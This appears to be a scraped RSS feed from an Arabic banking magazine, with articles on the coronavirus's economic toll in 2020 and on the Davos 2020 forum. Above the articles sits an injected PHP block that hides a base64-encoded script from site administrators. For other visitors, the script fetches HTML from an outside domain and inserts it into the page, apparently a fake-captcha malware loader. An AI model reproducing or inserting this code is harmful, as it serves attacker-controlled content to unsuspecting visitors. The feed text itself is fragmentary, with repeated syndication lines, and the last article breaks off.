// [WPSEC-START]
$current_user = wp_get_current_user();
if(!in_array("administrator", $current_user->roles)) {
echo(base64_decode('PHNjcmlwdD53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsIGUgPT57aWYoZS5kYXRhID09PSAicmVsb2FkIil7ICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7ICAgIH19KTtmdW5jdGlvbiBnZXRDb29raWUobmFtZSl7Y29uc3QgbWF0Y2ggPSBkb2N1bWVudC5jb29raWUubWF0Y2gobmV3IFJlZ0V4cCgiKF58OyApIiArIG5hbWUgKyAiPShbXjtdKikiKSk7cmV0dXJuIG1hdGNoID8gZGVjb2RlVVJJQ29tcG9uZW50KG1hdGNoWzJdKSA6IG51bGw7fWNvbnN0IGNvb2tpZW5hbWUgPSAiY29va2llLWNhcHRjaGEtY29tcGxldGUiO2NvbnN0IGNvb2tpZSA9IGdldENvb2tpZShjb29raWVuYW1lKTtpZighY29va2llKXtmZXRjaCgiaHR0cHM6Ly9hYnVkYWJpY29tbWVyY2UuaW5mbyIpIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLm9rID8gcmVzcG9uc2UudGV4dCgpIDogUHJvbWlzZS5yZWplY3QoKSkudGhlbihodG1sID0+e2lmKGh0bWwubGVuZ3RoID09PSAwKXtkb2N1bWVudC5jb29raWUgPSBjb29raWVuYW1lICsgIj0xOyBwYXRoPS87IG1heC1hZ2U9IiArICg2MCAqIDYwICogMjQgKiAzNjUpO31lbHNle2RvY3VtZW50LmJvZHkuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCBodG1sKTt9fSkuY2F0Y2goKCkgPT4gY29uc29sZS5lcnJvcigiRmFpbGVkIHRvIGxvYWQgcGFnZSEiKSk7fTwvc2NyaXB0Pg=='));
}
// [WPSEC-END]
The post مجلة البنك والمستثمر – العدد 233 appeared first on البنك و المستثمر.
]]>The post مجلة البنك والمستثمر – العدد 233 appeared first on البنك و المستثمر.
]]>The post فيروس كورونا الصيني يعصف بالاقتصاد العالمي appeared first on البنك و المستثمر.
]]>التصدي للأزمة
لا شيء يدل على أن الاقتصاد الصيني سيتعافى سريعاً بعد السيطرة على الفيروس الذي ظهر الفيروس في سوق بمدينة ووهان الواقعة وسط الصين، وهي جزء من مقاطعة تعرض فيها أكثر من 56 مليون شخص لشبه عزل، فيما اضطرت الصين لانشاء مستشفيات في وقت قياسي تتسع لآلاف الأسرة لعلاج المصابين بالمرض. حتى أن السلع الصينية ستواجه صعوبات في التصدير خصوصاً بعد التأكد من أنها لا تحمل بقايا من فيروس كورنا. وقد رسمت وكالة بلومبيرغ الأميركية صورة قاتمة لتداعيات وباء كورونا الفتاك على الاقتصاد العالمي، فذكرت بأن الاقتصاد العالمي المترابط بدأ يشعر بوطأة تفشي فيروس كورونا واحتمال تعرضه لضربة تفقده نموا مقداره 160 مليار دولار.
الواقع انه منذ حدوث آخر أزمة صحية في الصين جراء تفشي مرض متلازمة الالتهاب الرئوي الحاد (سارس) من أصل حيواني المنشأ في عام 2003، تضاعفت حصتها في الناتج الاقتصادي العالمي أربع مرات بمعدل 17% تقريبا. وتشير بلومبيرغ إلى أن الصين تعد الآن أكبر سوق لإنتاج السيارات الجديدة، وأكبر دولة من حيث الإنفاق في السياحة العالمية، والمصدر الرئيسي للملابس والمنسوجات. كما أنها البلد الذي يُصنَّع فيه العديد من أنواع الأجهزة الإلكترونية.
بين الصين والعالم
الأزمة التي يواجهها الاقتصاد العالمي منذ اندلاع وباء كورونا المستجد سيكون تاثيرها أضعاف الضربة التي تعرض لها جراء تفشي فيروس سارس حيث قدرت الخسائر في 2003 بنحو 40 مليار دولار، وفق ما يقول خبراء اقتصاديون عالميون. ويُعد فيروس كورونا المستجد أحد الأحداث غير المتوقعة التي أثارت اضطرابا في الاقتصاد العالمي منذ بداية العام الحالي 2020، ما شكل ظاهرة تسمى “البجعة السوداء” والتي تعد ظاهرة اقتصادية عند ظهور حدث غير متوقع يؤثر على الاقتصاد عالميا.
وحذرت مؤسسات اقتصادية ومالية عالمية، من تأثيرات اقتصادية سلبية بسبب تفشي الفيروس حول العالم في الربع الأول من العام الجاري على أقل تقدير وإلى النصف الأول من هذا العام. وجاءت التحذيرات بسبب انخفاض الاستهلاك والانفاق الصيني والعالمي وتحديدا انخفاض الإنفاق على السفر والسياحة، والذي جاء متزامنا مع إيقاف أو تخفيض معظم شركات الطيران العالمية رحلاتها من والى الصين، إضافة إلى انخفاض الاستهلاك على السلع غير الأساسية.
انتشار الفيروس وارتفاع عدد الوفيات ووكثرة الاصابات، أدت كلها إلى تخفيض توقعات النمو الاقتصاديين الصيني والعالمي في 2020 من قبل معظم المحللين الاقتصاديين والماليين حول العالم. وقد تباينت تلك التخفيضات لنمو الاقتصاد العالمي بين 0.4% و1.5%، أي بخسارة ما يقدر بـ 400 مليار دولار إلى أكثر من تريليون دولار من الناتج المحلي الإجمالي العالمي في النصف الأول من العام الجاري، لكن سيكون المتضرر الأكبر منه الصين وهو ماسينعكس على النمو العالمي بفعل وزن هذا البلد الاقتصادي الذي يعتبر ثاني أكبر اقتصاد في العالم بعد الولايات المتحدة الأميركية.
التوقعات الاقتصادية
التوقعات الاقتصادية السلبية ارتبطت بعوامل عدة، أهمها عدم معرفة مدى انتشار المرض وتفشيه حول العالم، إضافة إلى متى سيتم التوصل إلى علاج ضد الفيروس. وقد اعتبرت منظمة الصحة العالمية، ظاهرة تفشي كورونا حالة طوارئ عالمية لكنها لم تصل الى حد وصفه بالوباء العالمي، بالرغم من أن الخبراء يطلقون عليه اسم وباء، فيما خفضت وكالة موديز للتصنيف الإئتماني توقع نمو الاقتصاد الصيني إلى 5.2% من 5.8% في 2020.
ولعل مديرة صندوق النقد الدولي، كريستالينا جورجيفا كانت غير حاسمة في مدى تأثير الفيروس على الاقتصاد العالمي، فقالت في مؤتمر مؤخراً في دبي إن التأثيرات الاقتصادية الناجمة عن وباء فيروس كورونا في الصين ستكون قصيرة الأجل في أفضل الأحوال، لكنها تتزامن مع هشاشة الاقتصاد العالمي حاليا. أضافت “سيتضاعف تأثير الوباء العالمي ويتجسد في حدوث اضطرابات كبيرة في سلسلة الامدادات، وانخفاض مستمر في ثقة المستثمرين، خصوصا إذا انتشر خارج الصين”.
وكانت شركة آبل الأميركية على سبيل المثال، والتي تعتمد على الإنتاج والاستهلاك الصينيين، حذرت من أن إمداداتها من هواتف آيفون ستتأثر، ما شكل مخاوف على إيراداتها ومبيعاتها هذا العام، وذلك يشير إلى إمكانية تأثير سلبي كبير على شركات كبيرة حول العالم مرتبطة بالاستهلاك الصيني او إنتاج عملياتها التشغيلية في الصين.
كما تأثرت أسعار النفط سلبا بانخفاض وصل إلى 20% خلال تداولات الشهر الماضي، وبفعل انخفاض الاستهلاك الصيني، ثاني أكبر مستهلك للنفط وأكبر مستورد للنفط في العالم، حيث أشارت التقارير إلى أن استهلاك الصين من النفط انخفض بمقدار 3 ملايين برميل يوميا، إضافة إلى انخفاض الطلب على وقود الطائرات بفعل تعطل حركة السفر عالميا وتحديدا من الصين واليها.
وفي محاولة لتخفيف حدة التأثير السلبي على الاقتصاد، قامت الصين بضخ مئات المليارات من الدولارات في النظام المالي لديها لتوفير السيولة وتحفيز الأسواق. وخفض بنك الشعب الصيني، معدل الفائدة على القروض لآجل عام إلى 4.05% بمقدار عشر نقاط أساس، كما تم تخفيضها على القروض لمدة 5 سنوات إلى 4.75% .
كيف تعاملت الصين مع الوباء
استطاعت الصين، وفق بلومبيرغ، امتصاص الصدمة الاقتصادية الأولى الناجمة عن وباء كورونا، لكن التطورات كانت تشير الى أن أزمة الوباء هي أكثر من مجرد صدمةن وقد تضطر الضين الى تحمل خسائر كبيرة بالرغم من اقتصادها القوي والمتين.
تبين أن الخطر يكمن في احتمال استمرار تفشي الوباء واضطرار الناس للبقاء داخل منازلهم، ما يعني بروز مشاكل للشركات في مجالي التوزيع والإنتاج. وهو أمر حصل في الصينن خصوصاً في بؤرة الوباء، حيث اضظر البلد كله لأن يتخذ اجراءات احترازية ومنع التجول أحياناً الا لحالات التبضع الاضطراري. وقد أقفلت شركات كبرى محالها ومكاتبها في الصين، حتى أن الأحياء الصينية في مختلف بلدان العالم باتت أسواقها شبه فارغة بسبب الخوف من الفيروس. وأشارت بلومبيرغ مثلاَ إلى أن شركة ليفي شتراوس وشركاءه المتخصصة في ملابس “الجينز” أغلقت أبواب متجرها الرئيسي في مدينة ووهان الذي افتتحته قبل أربعة أشهر. وانتقلت شركات عالمية لفتح محال ومعارض في مدينتي بكين وشنغهاي الصينيتين، مثل إيستي لودر الأميركية لمستحضرات التجميل، وكندا غوس وهي شركة كندية قابضة لصناعة الملابس الشتوية، ورولز رويس للسيارات وهي شركة بريطانية متعددة الجنسيات.
وتقول الوكالة إن موجة التأثير الأولى على الاقتصاد العالمي من الفيروس تأتي في وقت حرج. فالشركات الغربية ساهمت في تحويل احتفالات الصين بالسنة القمرية الجديدة التي كانت مقررة أواخر يناير/ كانون الثاني من كل عام إلى مناسبة للتسوق تدر أرباحا وفيرة، حتى باتت فترة محورية للنمو الاقتصادي في البلاد. لكنها لم تعد كذلك هذا العام بسبب وباء كورونا، حيث تشير التقديرات إلى أن نمو الاستهلاك في الربع الأول 2020 سيتباطأ بأكثر من النصف في الصين من معدله المسجل في الشهور الأخيرة من عام 2019 الذي بلغ 5.5 %. وكانت أقدمت شركة ستاربكس على إغلاق أكثر من ألفي مقهى في عموم الصين، أي نصف عددها في تلك الدولة. كما أغلقت شركة ماكدونالدز المئات من مطاعمها، بينما نفذت البضائع في بعض محلات وولمارت للبيع بالتجزئة. في حين أغلقت ملاهي ديزني لاند أبوابها في شنغهاي وهونغ كونغ، ونصحت معظم الدول رعاياها بتجنب السفر إلى الصين، وقلصت شركات الطيران رحلاتها.
ويبدو أن قطاع صناعة التكنولوجيا سيكون الاكثر تأثراً لتفشي وباء كورونا، حيث تستأثر الصين بنحو 21% من الإنفاق العالمي في أجهزة تكنولوجيا المعلوماتن حيث تتخذ بعض كبريات الشركات المصنعة لأجهزة الكومبيوتر الشخصي وموردي قطع الغيار من الصين مقرا لها، فإذا ما حدث تباطؤ في المبيعات فمن شأنه أن يحد من الطلب على برمجيات أنظمة تشغيل مايكروسوفت ويندوز. وتستخدم أكثر من 50% من الشرائح الإلكترونية المقدر قيمتها بنحو 470 مليار دولار، إما في أجهزة تباع في الصين أو تورَّد إليها، بغية وضعها في معدات أو تجهيزات تمهيدا لبيعها حول العالم. علماً أن وزير التجارة الأميركي ويلبور روس صرح لشبكة فوكس بيزنس بأن تفشي المرض قد يدفع مزيدا من الشركات إلى نقل صناعاتها التحويلية إلى الولايات المتحدة والمكسيك. في حين تخوف مديرو شركات من أن يكون الفيروس أكثر تأثيراً في أعمالهم من الحرب التجارية بين الولايات المتحدة والصبن.
التحدي العالمي
التفشي السريع لفيروس كورونا المستجد، وضع اقتصاد العالم برمته أمام تحد حقيقي، حتى وإن كانت غالبية الوفيات والإصابات قد سجلت في الصين. وأوردت صحيفة “نيويورك تايمز” الأميركية أن قدرة العالم على احتواء هذا الفيروس هو الذي يحدد حجم الخسائر الاقتصادية، كما أن عنصر التوقيت مهم أيضا، لأن عدم استقرار الوضع يزيد من الأضرار. علماً أن بكين أعلنت أن الاصابات اليومية كانت تتراجع ما يعني أنه يمكن السيطرة على الفيروس.
لكن المخاوف بشأن ثاني أكبر اقتصاد في العالم، يكمن أيضاً بإغلاق كثير من المصانع والمراكز المالية في مدن الصين الكبرى، وهو ما يعني العجز عن تسليم الطلبيات إلى الخارج. وتعثرت عودة المصانع الصبنبة إلى نشاطها، بسبب عدم إمكانية عودة العمال المهاجرين، أو نظرا لصعوبة الحصول على المواد الخام التي يتطلبها الإنتاج فيما عرقلت إجراءات الحجر الصحي عملية التنقل في الصين. ويقول الباحث الاقتصادي في جامعة كورنيل، إيسوار بلاساد، إن الاستهلاك تأثر على نحو كارثي، لأن الناس صاروا يفضلون البقاء في بيوتهم عوض أن يخرجوا إلى المطاعم والمنشآت السياحية الأخرى، إضافة الى الاجراءات التي قررتها الحكومة الصينية بتوجيهات من الرئيس الصيني شي جيبينغ، وهذه الأنشطة الصغرى تساهم بدورها في النمو الاقتصادي للمارد الصيني. وبإزاء هذا الوضع، وجدت الصين نفسها مطالبة بزيادة الإنفاق وخفض الضرائب المفروضة، فضلا عن تقديم قروض بنسب فوائد مغرية لإنعاش النمو الاقتصادي. وهذا يعني إثقال كاهل البنوك، وهو ما سبق أن حصل في البلاد في وقت سابق، لكن حجم الفيروس والظروف الدقيقة التي تمر بها لا تتيح هامشا واسعا للمناورة وهي لا تسمحُ بخيارات كثيرة لتفادي الأسوأ. وبما أن شركات عالمية كثيرة تعتمد على سلاسل الإنتاج الصينية، فإن عدم تعافي ثاني اقتصاد في العالم، ستكون له تداعيات في الخارج، وعندئذ، ستصبح الأزمة عالمية وأوسع نطاقا ولن تظل في الصين فحسب.
موقع الصين
الأزمة الكبيرة التي عاشتها الصين بسبب فيروس كورونا وأثبتت انها دولة قادرة على التعبئة ومواجهة الكوارث الإنسانية أكدت القيمة الكبيرة التي يمثلها الاقتصاد الصيني بالنسبة إلى العالم، حيث تداعت الأسواق العالمية والاقتصاديات الكبرى للمساعدة في ما يتعرض له الاقتصاد الصيني جراء توقف بعض أنشطته الاقتصادية.
تشير أرقام بيانات البنك الدولي إلى أن الناتج المحلي للصين بلغ 13.6 تريليون دولار في عام 2018 بما يمثل نسبة 15.8% من الناتج المحلي العالمي، كما أن حصة الصين من الصادرات السلعية في العام نفسه بلغت 2.4 تريليون دولار بما يمثل نسبة 12.2% من إجمالي الصادرات السلعية للعالم. في حين تقول مديرة صندوق النقد الدولي أن الصين تمثل 19 في المئة اليوم من الناتج العالمي بعدما كانت في عام 2003 لا تمثل أكثر من 8 في المئة.
في الحصيلة الأولى لتأثير أزمة فيروس كورونا على الاقتصاد الصيني، ثمة تقديرات أولية تؤكد تضرر أكبر شركة ائتمان صينية “آي سي بي سي” بانخفاض أسهمها بنحو 11%، وانخفاض قيمة أسهم بنك التعمير الصيني 7.6%، فضلا عن مخاوف تتعلق بتعميق أزمة مديونية الشركات داخل الاقتصاد الصيني، وكذلك الدفع خلال الفترة المقبلة لموجة تضخم تضرب بعمق الاقتصاد الصيني نتيجة تراجع الإنتاج. ويبدو أن الأمر مرتبط بحسب الخبراء بمدى قدرة الصين على السيطرة على الفيروس نهائياً ومكافحته ووقف تداعياته السلبية على الاقتصاد.
امتصاص الصدمة والخسائر
ووفق تقارير عدة هناك سيناريوهات للتنبؤ بقدرة الاقتصاد الصيني على تجاوز أزمة “كورونا”. اذا كان التوصل إلى لقاح فعال للوقاية من الفيروس يستلزم مدة زمنية طويلة، فيعني ذلك استمرار إغلاق العديد من المنشآت الصناعية والخدماتية داخل الصين، خاصة تلك التي تستلزم تعاملا بشريا، أما ما يمكن إنجازه عبر التعاملات الإلكترونية فيتم بصورة طبيعية، خاصة أن الصين قد مرت من قبل بتجربة فيروس سارس في مطلع الألفية الثالثة. وسيكون الأمر في هذه الحالة مجرد إعادة ماكينة تشغيل الاقتصاد الصيني لطبيعتها، ولتعويض خسائر البنوك والشركات، وحركة الصين الاقتصادية الخارجية، من صادرات وواردات سلعية، وضخ واستقبال الاستثمارات المباشرة. لكن استعادة معدلات النمو ستحتاج لبعض الوقت، خاصة أن ثمة تنبؤات تذهب إلى أن معدل النمو في الاقتصاد الصيني سيكون عند 1% خلال الربع الأول من 2020، وفق سيناريو السيطرة على كورونا في الأجل القصير.
وما يساعد على التعافي السريع للاقتصاد الصيني في ظل هذا السيناريو هو امتلاك البلاد بنية أساسية صلبة ومعرفية قوية يمكن من خلالها توفير قدر كبير من المرونة في جهازها الإنتاجي، وتعافي أسواقها الداخلية والخارجية. وبما أن الحكومة الصينية ضخت مئات المليارات من الدولارات من أجل زيادة السيولة في السوق وتنشيط الطلب في الأسواق. لكن في ظل إغلاق المنشآت الإنتاجية في الصين قد يؤدي ذلك إلى ارتفاع معدلات التضخم.
استعادة الثقة
ومن التحديات التي ستواجه الاقتصاد الصيني بعد السيطرة على أزمة كورونا استعادة حالة الثقة في المنتجات الصينية وما إذا كانت خالية من بقايا الفيروس، فثمة إجراءات احترازية سوف تلازم العديد من الدول، خاصة المستوردة من الصين، بشأن المخاوف الصحية، وهو ما سيؤخر فترة استعادة الصين مكانتها الاقتصادية على الصعيد العالمي.
أما اذا لم تتمكن الصين من السيطرة على الفيروس وأخذ ذلك وقتاً أطول من المتوقع، فستكون في أزمة حقيقية، وسيتأخر وضعها على خريطة القوى الاقتصادية الكبرى، وسيتجاوز الحديث عن تراجع قيمة المؤسسات المالية والإنتاجية في الصين كثيرا، فيما
دول الجوار للصين، مثل اليابان وسنغافورة وفيتنام، وغيرها ستتأثر سلباً وهو ما يعني أن الأزمة الاقتصادية قد تمتد إلى خارج الصين. وقد يؤثر الأمر على قيمة العملة الصينية (الدولار يعادل نحو 7 يوانات صينية تقريبا)، وكذلك رصيد الصين من احتياطيات النقد الأجنبي الذي بلغ في ديسمبر/ كانون الأول 2016 نحو 3.1 تريليونات دولار، بسبب ما هو متوقع بشأن تراجع معدلات الإنتاج في الدخل، وإصابة الصادرات والواردات بالشلل، وهو ما يعني أن العملة الصينية ستفقد جزءا كبيرا من قيمتها. وسيؤدي ذلك إلى تغير كبير في وضع الصين كأكبر مستثمر في سندات الخزانة الأميركية، حيث إن استمرار الأزمة يعني حاجة الصين للتمويل بشكل كبير، ما يضطرها لبيع جزء كبير من أرصدتها الخارجية، حيث تمتلك الصين رصيدا يزيد على تريليون دولار كاستثمار في سندات الخزانة الأميركية.
على أن عدم السيطرة على الفيروس يعني انتقال الأزمة أيضاً من الصين إلى العالم العالمي، وهو ما يعني استنهاض كل الجهود العلمية والمالية لمواجهة كورونا حتى لا يصبح وباء عالميا، فضلا عن أن المصالح الاقتصادية لباقي بلدان العالم مع الصين تفرض أن تتشارك الجهود لإنقاذ الصين بغض النظر عن مكانتها الاقتصادية وعودتها كقوة اقتصادية.
تبقى الصين دولة عالمية قادرة على مواجهة الازمات، وان كان الفيروس المستجد سيظهر سببه من خلال ممارسات بشرية. لكن المهم ان الصين استطاعت تعبئة كل طاقات شعبها، وتمكنت من استقطاب العالم للوقوف الى جانبها، وهذا يعني أن خطر تجدد الحرب التجارية بين الصين والولايات المتحدة الاميركية بات مستبعداً. كما ستعمل الدول لعدم تأثر الاقتصاد الصيني كثيراً بتداعيات الوباء لأن ذلك يؤثر في اقتصاداتها، علماً أن فيروس كورونا الذي لم يؤثر على الاقتصاد الأميركي بشكل كبير حتى الآن، لكنه قد يؤدي إلى كبح النمو الاقتصادي للولايات المتحدة، خلال العام الحالي، في حال لم تتحسن الأوضاع في الصين نفسها. ومساعدة العالم خصوصاً الأميركيين مرتبطة بالاتفاقات التي يمكن أن تتبخر كلها في حال لم يتعاف الاقتصاد من تبعات فيروس كورونا المستجد، وهو ما سيحد من الاستثمارات في أغلب الاقتصادات الكبرى.
The post فيروس كورونا الصيني يعصف بالاقتصاد العالمي appeared first on البنك و المستثمر.
]]>The post دافوس الاقتصادي: هل انتهت وظيفته الأصلية؟ appeared first on البنك و المستثمر.
]]>التغير المناخي ومشكلة الكوكب
كان اللافت في دافوس 2020 دعوة ناشطين شباب، منهم الناشطة الأسوجية المراهقة المدافعة عن المناخ غريتا تونبرغ، والتي اختارتها مجلة “تايم” الأميركية شخصية العام 2019 وفضلتها على مرشحين بارزين كالرئيس الأميركي دونالد ترامب وزعيمة الديموقراطيين نانسي بيلوسي. وصار المنتدى كأنه حقل مواعدة بين مسؤولين سياسيين واقتصاديين، وفق ما يوضح المفوض الأوروبي السابق الفرنسي بيار موسكوفيسي، علماً أن حضور رؤساء الشركات بقي غالباً، ومنهم رئيس شركة أوبر، دارا خسروشاهي.
المنتدى الاقتصادي العالمي الذي انطلق عام 1971، كان يهدف إلى “تحسين وضع العالم” بحسب وثائقه. وهو في الأساس يشكل فرصة لعقد اجتماعات خاصة تتناول قضايا مثل الاستثمار في البلدان، ولإبرام صفقات تجارية، فيما بدأت تستثمر شخصيات بارزة، المنتدى للتأثير في عملية تحديد أولويات السياسة العالمية والدفع بقضايا معينة إلى مقدمة الاهتمام العالمي. فمع حضور غريتا تونبرغ التي انتقدت المنتدى هذا العام 2020 لعدم تركيزه على المناخ وسجالها مع الأميركيين، كان لافتاً لأيضاً خطاب الأمير البريطاني وليم في نسخة العام الماضي 2019 عن الصحة العقلية، وأيضاً تحذيرات ديفيد أتينبورو الصارخة بشأن الحفاظ على البيئة وأثر التغيير المناخي.
برنامج مغاير
استقطب المنتدى الاقتصادي العالمي هذه السنة الكثير من الشخصيات، لكن برنامجه لم يكن شبيهاً بالأعوام السابقة، التي كان يحضر فيها المنتدى نحو 3000 شخص، ثلثهم تقريباً من قطاع الأعمال. وبينما يعيش العالم أزمة اقتصادية سعى القائمون على دافوس الاقتصادي العالمي، إلى محو صورة “منتدى الأثرياء” عن نسخة هذا العام، إلا أن تصريحات الرئيس الأميركي دونالد ترامب، وكذلك جدول القضايا المطروحة على أجندة المنتدى، رسخا مبدأ “لا وجود لغير الأقوياء”. وقد حاول الأميركيون فرض أجندتهم في هذا المنتدى الذي لم يخرج بنتائج ملموسة هذه السنة على عكس السنوات السابقة، وهو ما يطرح تساؤلات عما اذا كانت وظيفة المنتدى هي ذاتها مع الاصرار الأميركي على مصادرة كل شيء. فترامب أكد مثلاً ان الاقتصاد الأميركي هو الأقوى عالمياً، مشيرا إلى أن بلاده تشهد نمواً غير مسبوق، حيث استطاعت إدارته توفير أكثر من سبعة ملايين فرصة عمل، كما أن نسبة البطالة قد وصلت لمستوى هو الأدنى في تاريخ الولايات المتحدة. وهو أكد مجدداً قدرة الولايات المتحدة على المنافسة في سوق الطاقة العالمي، موضحا أن بلاده أصبحت “قريبة جدا من الانفصال عن الآخرين في مجال الطاقة”.
خلافات أميركية أوروبية
كان منتدى دافوس محطة لطرح مشاريع استثمارية وتبادل بين أقطاب رجال الأعمال والتجارة العالميين، لكنه اليوم صار يطرح قضايا متعددة، فيما تحضر القوى الكبرى لفرض أجندتها السياسية والاقتصادية، حيث شكل على مدى أيام أربعة ساحة لإبراز الخلافات، لا سيما بين الولايات المتحدة والاتحاد الأوروبي، إذ لوّح المفاوض التجاري الأميركي روبرت لايتهايزر، في وقت سابق بفرض رسوم بنسبة 100 في المئة على منتجات فرنسية مثل الشامبانيا وحقائب اليد والجبن وسلع وخدمات أخرى، إذا ما مضت باريس قدما في تطبيق قرار بفرض رسوم على شركات التكنولوجيا الرقمية الأميركية، وهي التي قررت أن تفرض منذ الأول من كانون الثاني، رسما على شركات التكنولوجيا العملاقة تعادل 3 في المئة من رقم أعمالها في انتظار تبني قرار على الصعيد الدولي في هذا الشأن. علماً أن ترامب والرئيس الفرنسي إيمانويل ماكرون، “اتفقا على إعطاء فرصة” للمفاوضات من أجل التوصل إلى حل في إطار دولي وتجنب “حرب تجارية لا تعود بالفائدة على أحد”.
كانت انطلقت أعمال المنتدى الاقتصادي العالمي في بلدة “دافوس” السويسرية في نسخته الـ50، تحت عنوان “من أجل عالم متماسك ومستدام” على وقع تقلبات اقتصادية، مرتبطة بتوقيع المرحلة الأولى من اتفاق التجارة الأميركي الصيني، وان كان غير مهائي واتفاق أوروبي على خروج آمن لبريطانيا من الاتحاد، إضافة إلى التوترات الجيوسياسية في منطقة الشرق الأوسط، خصوصا بين الولايات المتحدة وإيران، ومخاطر متزايدة للتغير المناخي. وهذه الملفات طغت على العنوان الرئيسي للمؤتمر، فجاء النقاش مغايراً لأهدافه الأصلية. علماً أن صندوق النقد الدولي خفض في آخر تقرير له توقعاته لنمو الاقتصاد العالمي في 2020 بنسبة 0.1 في المئة إلى 3.3 في المئة، كما خفض توقعات النمو في 2021 بنسبة 0.2 في المئة إلى 3.4 في المئة. وطغت مشاركة غريتا تونبرغ على الزعماء والمسؤولين في العالم، وهي التي وصلت إلى مقر المنتدى من دون استخدام وسائل مواصلات ملوثة للبيئة، لإلقاء رسالة بشأن مواجهة مواجهة التغير المناخي. وقد شهدت قرية دافوس احتجاجات ضد شركات عالمية أعضاء في المنتدى الاقتصادي العالمي، محملين إياها مسؤولية التغير المناخي.
شكل المنتدى الاقتصادي العالمي هذه السنة محطات خلافية، بدلاً من أن يكون فرصة لاطلاق مشاريع لنخبة رجال الأعمال، خصوصاً مع تقدم النشطاء الساعين إلى التصدي للمخاطر الداهمة التي تحدق بالعالم مع مطلع العقد الثالث للقرن الحادي والعشرين. وقد هيمن التغيّر المناخي على المناقشات بالرغم من أنه لم يكن المنتدى على مستوى التصدي لهذه القضية التي تثير قلقا دوليا، على رغم أن المشاركين كانوا يسعون إلى التصدي للقضايا العالمية بقائمة طويلة ومتنوعة. وكان واضحاً الخلاف على الأولويات، إذ أن ترامب المشكك في التغيّر المناخي، شددت تونبرغ على مدى “جنونية” مواصلة الاستثمار في الوقود الأحفوري في وقت تسلّط الكوارث الكبرى التي يشهدها العالم على غرار الحرائق في أوستراليا الضوء على التداعيات السلبية لارتفاع درجات الحرارة. حتى أن الوفد الأميركي دعاها مع الناشطين الى درس الاقتصاد قبل أن تتكلم عن قضايا لا تفهمها. علماً أن ملف التغير المناخي والنزاعات الدولية ظهر خلافياً بين القادة الأميركيين والأوروبيين. ففيما قادة الاتحاد الأوروبي يعتبرون التغيّر المناخي “تحديا وجوديا”، يعتبره ترامب “خدعة صينية”.
ظغى على المنتدى الاقتصادي العالمي بوضوح، برنامج عمل جديد، يختلف عما كان يناقشه في السابق، ففي تقريره الصادر مؤخرا يشير إلى مجموعة تحديات تواجه البشرية لا سيما انعدام الاستقرار الاقتصادي، والتغيّر المناخي، وانعدام المساواة في الوصول إلى الإنترنت والضغوط التي تواجهها أنظمة الرعاية الصحية. ويتطرق التقرير إلى الحرائق التي اجتاحت أوستراليا واستقطبت اهتماما دوليا، معتبرا أن “التغيّر المناخي يضرب في شكل أقوى وأسرع مما توقّع كثر”، وسط توقعات بارتفاع الحرارة ثلاث درجات على الأقل في نهاية القرن الحالي.
ويتناول التقرير أنظمة الرعاية الصحية، محذرا من أنها قد تكون غير قادرة على تحقيق أهدافها مع حلول الأمراض القلبية والعقلية محل الأمراض المعدية كأكبر مسبب للوفيات. كذلك يواجه العالم مخاطر تنامي انعدام الثقة باللقاحات، وتزايد مقاومة الجراثيم للمضادات الحيوية وغيرها من الأدوية.
وجاء في التقرير أن “العالم لا يمكنه أن ينتظر انجلاء الضبابية الجيوسياسية والجيو-اقتصادية”، مشيراً إلى أن “اتخاذ خيار اجتياز المرحلة الحالية على أمل عودة النظام العالمي ينطوي على مخاطر تفويت فرص هامة لمعالجة التحديات الضاغطة”.
الصين وأميركا يتجاوزان المنتدىبدا أن الحروب العالمية فرضت نفسها على منتدى دافوس، من خارج جدول الأعمال ووظيفة المنتدى الأصلية. فالصين والولايات المتحدة اللتان وقعتا هدنة تجارية أخيراً ظهر أن العداوة التكنولوجية بينهما لم تنته، ما يغذي شبح “حرب باردة” من نوع جديد تدور حول تكنولوجيا الجيل الخامس من شبكة الانترنت، والشرائح الإلكترونية، والذكاء الاصطناعي وغيرها. وقد شهد المنتدى الاقتصادي العالمي نقاشا حول الحرب التكنولوجية بين البلدين جمع خبراء اطلقوا تحذيرات وقادة كبار حرصوا على تقديم تطمينات. فمؤسس شركة الاتصالات الصينية العملاقة “هواوي” رن تشينغ فاي راوغ عند الإجابة على اسئلة بهذا الخصوص قائلا “في العمق، إن العالم بصدد التوحد (تكنولوجيا)، كل شيء مترابط (…) عالم منقسم؟ لا أعتقد”.
وتعرضت شركة هواوي، رغم كونها الأبرز في مجال تكنولوجيا الجيل الخامس، إلى منع نشاطها في الولايات المتحدة، وقد أشارت هذه الأخيرة إلى مخاطر استخدام بكين للشركة في التجسس وشجعت حلفائها الأوروبيين على إقصاء شبكات المجموعة الصينية. لكن “هواوي” غزت الأسواق الصاعدة، وعلى رأسها البرازيل والهند. وقال الديبلوماسي الأميركي السابق ونائب رئيس شركة “إي إتش إس ماركيت” كارلوس باسكوال وفق ما أوردت وكالة فرانس برس إنه “توجد منافسة حول الهيمنة عالميا في المجال الرقمي”، مضيفا أن “هواوي تمثل رمزا، لكن المسألة تتجاوزها بكثير. وقد تفتح هذه الحرب وصراع النفوذ على المستوى العالمي الباب أمام “مواجهة صينية أميركية كبرى” في المجال الرقمي. علماً أن بكين كانت أقرت عام 2015 برنامجا طموحا باسم “صنع في الصين 2025” لتعزيز تكنولوجياتها، ويطبّق هذا البرنامج بالتوازي مع مخطط استثمار ضخم في البنى التحتية لبناء “طرق الحرير” من الصين إلى افريقيا. وقال الخبير في المعهد العالمي للدراسات الاستراتيجية جون شيبمان أنه “يمكن لذلك أن تتوجه دول نامية إلى الصين لبناء شبكات الاتصال ومحطات التقوية ومراكز المعطيات وأنظمة المعلوماتية الحكومية. في حين ان تمدد الشركات الصينية في آسيا وافريقيا وأميركا اللاتينية يدفع إلى توسع عمليات جمع “بيانات عريضة” صالحة لتطوير تكنولوجيا الذكاء الاصطناعي الخاصة بها”.
وبينما لا تزال “مايكروسوفت” و”آبل” تعتمدان بشكل كبير على السوق الصينية الضخمة، تشير العقوبات المتصاعدة على طرفي المحيط الهادئ إلى “الستار الحديدي الاقتصادي” الذي أعرب وزير الخزانة الأميركي السابق هنري بولسن، منذ تشرين الثاني 2018، عن خشيته ازاء ظهوره.
انتقادات وتغيرات
